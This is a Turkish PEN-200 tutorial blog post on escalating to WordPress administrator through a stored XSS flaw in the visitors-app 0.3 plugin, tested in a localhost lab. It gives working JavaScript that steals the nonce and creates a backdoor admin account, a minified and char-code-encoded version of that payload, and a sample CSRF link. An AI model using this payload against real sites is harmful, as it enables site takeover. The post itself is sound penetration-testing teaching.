PEN-200

Privilege Escalation via XSS | PEN-200

Merhaba. Offensive Security tarafında yer alan “PEN-200: Penetration Testing with Kali Linux” sertifika eğitimi yazı serisinin on yedinci yazısı olan “Privilege Escalation via XSS” konusunu ele alacağım. Bu makalede Cross Site Scripting (XSS) zafiyeti bulunan bir WordPress eklentisini kullanacağız. Localhosta WordPress kurup eklentinin zafiyetli versiyonu indirip kurduktan incelemeye başlıyoruz.

Zafiyetli eklentimiz “visitors-app.0.3” versiyonu olacak. Eklentinin Exploit-DB üzerinden yayınlanan zafiyet açıklamasını inceleyebilirsiniz.

https://downloads.wordpress.org/plugin/visitors-app.0.3.zip
https://www.exploit-db.com/exploits/49972

Zafiyetli eklentinin user-agent parametresinde Stored XSS zafiyeti bulunmaktadır. Uygulamanın güvenli olmayan bir oturum yönetimi yapılandırması kullanması durumunda çerezleri ve oturum bilgilerini çalmak için XSS zafiyetinden yararlanabiliriz. Kimliği doğrulanmış bir kullanıcının çerezini çalabilirsek, hedef web sitesinde o kullanıcı gibi görünebiliriz.

Web siteleri, durumu ve kullanıcılar hakkındaki bilgileri izlemek için çerezleri kullanır. Çerezler, penetrasyon testerlar için özellikle ilgi çekici olan ikisi dahil olmak üzere çeşitli isteğe bağlı işaretlerle ayarlanabilir: Secure ve HttpOnly.

Secure bayrağı, tarayıcıya çerezi yalnızca HTTPS gibi şifrelenmiş bağlantılar üzerinden göndermesi talimatını verir. Bu, çerezin açık metin olarak gönderilmesini ve ağ üzerinden yakalanmasını önler.

HttpOnly bayrağı, tarayıcıya, çerezlere JavaScript erişimini reddetmesi talimatını verir. Bu bayrak ayarlanmazsa çerezi çalmak için bir XSS verisi kullanabiliriz.

Önce yönetici kullanıcı olarak oturum açarak WordPress’in oturum çerezlerinin yapısını doğrulayalım.
Daha sonra Web Geliştirici Araçlarını açabilir, Depolama sekmesine gidebilir, ardından soldaki Çerezler menüsü altında hedef sitenin ismine tıklayabiliriz.

Tüm oturum çerezleri yalnızca HTTP yoluyla gönderilebildiğinden ne yazık ki saldırı vektörümüz aracılığıyla JavaScript aracılığıyla da alınamaz. Yeni bir açı bulmamız gerekecek. Örneğin, başka bir WordPress yönetici hesabı ekleyen bir JavaScript işlevi oluşturabiliriz, böylece gerçek yönetici enjekte ettiğimiz kodu çalıştırdığında, işlev perde arkasında yürütülür.

Bu saldırıyı geliştirmek için Shift8’de gösterilene benzer bir senaryo oluşturacağız. İlk olarak, WordPress yöneticisini hemen getiren bir JS işlevi oluşturacağız. Nonce, rastgelelik eklemek ve Siteler Arası İstek Sahteciliği (CSRF) saldırılarını önlemek için her HTTP isteğine dahil edilen, sunucu tarafından oluşturulan bir belirteçtir. CSRF saldırısı, kurbanın kullanıcı adına önceden yapılandırılmış bir eylem gerçekleştiren kötü amaçlı bir bağlantıya tıkladığı sosyal mühendislik yoluyla gerçekleşir. Kötü amaçlı bağlantı, görünüşte zararsız bir açıklamayla gizlenebilir ve genellikle kurbanı tıklamaya teşvik edebilir. Aşağıda örnek bir CSRF atağını görebilirsiniz.

<a href="http://fakecryptobank.com/send_btc?account=ATTACKER&amount=100000"">Check out
these awesome cat memes!</a>

Yukarıdaki örnekte URL bağlantısı, saldırganın hesabına bitcoin transferi gerçekleştiren Fake Crypto Bank web sitesi API’sine işaret etmektedir. Bu bağlantı bir HTML koduna gömülüyse e-postayla gönderildiğinde, kullanıcı yalnızca bağlantı açıklamasını görebilir, ancak işaret ettiği gerçek HTTP kaynağını göremez. Kullanıcı aynı web sitesinde geçerli bir oturumla zaten oturum açmışsa bu saldırı başarılı olacaktır.

Bizim durumumuzda, sözde rastgele nonce’ı dahil ederek ve kontrol ederek, WordPress bu tür bir saldırıyı önler çünkü bir saldırganın token hakkında önceden bilgi sahibi olması mümkün değildir. Ancak birazdan açıklayacağımız gibi nonce, eklentide keşfettiğimiz depolanmış XSS güvenlik açığına engel teşkil etmez.

Belirtildiği gibi herhangi bir idari işlemi gerçekleştirmek için öncelikle nonce’yi toplamamız gerekiyor. Bunu aşağıdaki JavaScript işlevini kullanarak başarabiliriz:

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

Bu işlev, /wp-admin/user-new.php URL’sine doğru yeni bir HTTP isteği gerçekleştirir ve normal ifadeye dayalı olarak HTTP yanıtında bulunan nonce değerini kaydeder. Regex modeli, /ser” value=” dizesi ve çift tırnak arasında bulunan herhangi bir alfa numerik değerle eşleşir. Artık nonce’ı dinamik olarak aldığımıza göre, yeni yönetici kullanıcıyı oluşturmaktan sorumlu ana işlevi oluşturabiliriz.

var params = "action=createuser&_wpnonce_createuser="+nonce+"&user_login=hacker&[email protected]&pass1=hackerpass&pass2=
hackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

Bu fonksiyonda vurgulanan, daha önce edindiğimizden hemen sonra, yeni arka kapılı yönetici hesabıdır. Saldırımız başarılı olursa WordPress kurulumunun tamamına yönetici erişimi sağlayabileceğiz. JavaScript yükümüzün Burp ve hedef uygulama tarafından doğru şekilde işlenmesini sağlamak için önce onu küçültmemiz, sonra kodlamamız gerekiyor. Saldırı kodumuzu tek satıra küçültmek için JS Compress’e gidebiliriz.

Compress JavaScript diyerek küçültüyoruz ve dosyayı indiriyoruz. Son bir saldırı adımı olarak küçültülmüş JavaScript kodunu encode edeceğiz, böylece kötü karakterler yükün gönderilmesini engellemeyecektir. Bunu aşağıdaki fonksiyonu kullanarak yapabiliriz:

function encode_to_javascript(string) {
 var input = string
 var output = '';
 for(pos = 0; pos < input.length; pos++) {
 output += input.charCodeAt(pos);
 if(pos != (input.length - 1)) {
 output += ",";
 }
 }
 return output;
 }

let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)

encode_to_javascript işlevi, küçültülmüş JS dizesi parametresini ayrıştıracak ve charCodeAt yöntemini kullanarak her karakteri karşılık gelen UTF-16 tamsayı koduna dönüştürecektir. Fonksiyonu tarayıcının konsolundan çalıştıralım.

Kodun düzenlenmiş hali aşağıdaki gibidir. Bunu konsolda çalıştıracağız.

function encode_to_javascript(string) {
 var input = string
 var output = '';
 for(pos = 0; pos < input.length; pos++) {
 output += input.charCodeAt(pos);
 if(pos != (input.length - 1)) {
 output += ",";
 }
 }
 return output;
 }

let encoded = encode_to_javascript('var ajaxRequest=new XMLHttpRequest,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1),ajaxRequest.send();var nonceMatch=nonceRegex.exec(ajaxRequest.responseText),nonce=nonceMatch[1],params="action=createuser&_wpnonce_createuser="+nonce+"&user_login=hacker&[email protected]&pass1=hackerpass&pass2= hackerpass&role=administrator";(ajaxRequest=new XMLHttpRequest).open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);')
console.log(encoded)

Kodlanmış dizenin kodunu çözeceğiz ve önce dizenin kodunu fromCharCode yöntemiyle çözerek, ardından eval() yöntemiyle çalıştırarak yürüteceğiz. Kodlanmış stringi kopyaladıktan sonra aşağıdaki curl komutuyla saldırıyı başlatabiliriz:

İsteği Burp ile aşağıda inceleyebiliriz.

Visitors eklentisine giderek ziyaret var mı kontrol edelim.

Görüldüğü gibi Browser kısmında bir şey görünmemektedir. Bunun sebebi “<script>” etiketleri arasına payloadı yerleştirmemizden kaynaklıdır. Eklenti istatistiklerini yükleyerek kötü amaçlı betiği çalıştırmış olmamız gerekirdi, o halde sol bölmedeki Kullanıcılar menüsüne tıklayarak saldırımızın başarılı olup olmadığını doğrulayalım.

Bu XSS zafiyeti nedeniyle, özel hazırlanmış bir HTTP isteği aracılığıyla uygulama ayrıcalıklarımızı standart kullanıcıdan yöneticiye yükseltmeyi başardık. Bu kısımdan sonraki saldırı senaryolarında web shell kullanarak sunucuyu ele geçirmeye çalışabiliriz. Başka yazılarda onlara da değineceğiz.

PEN-200 serisinin on yedinci yazısının sonuna geldik. Başka yazılarda görüşmek üzere.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

13 − eleven =

Başa dön tuşu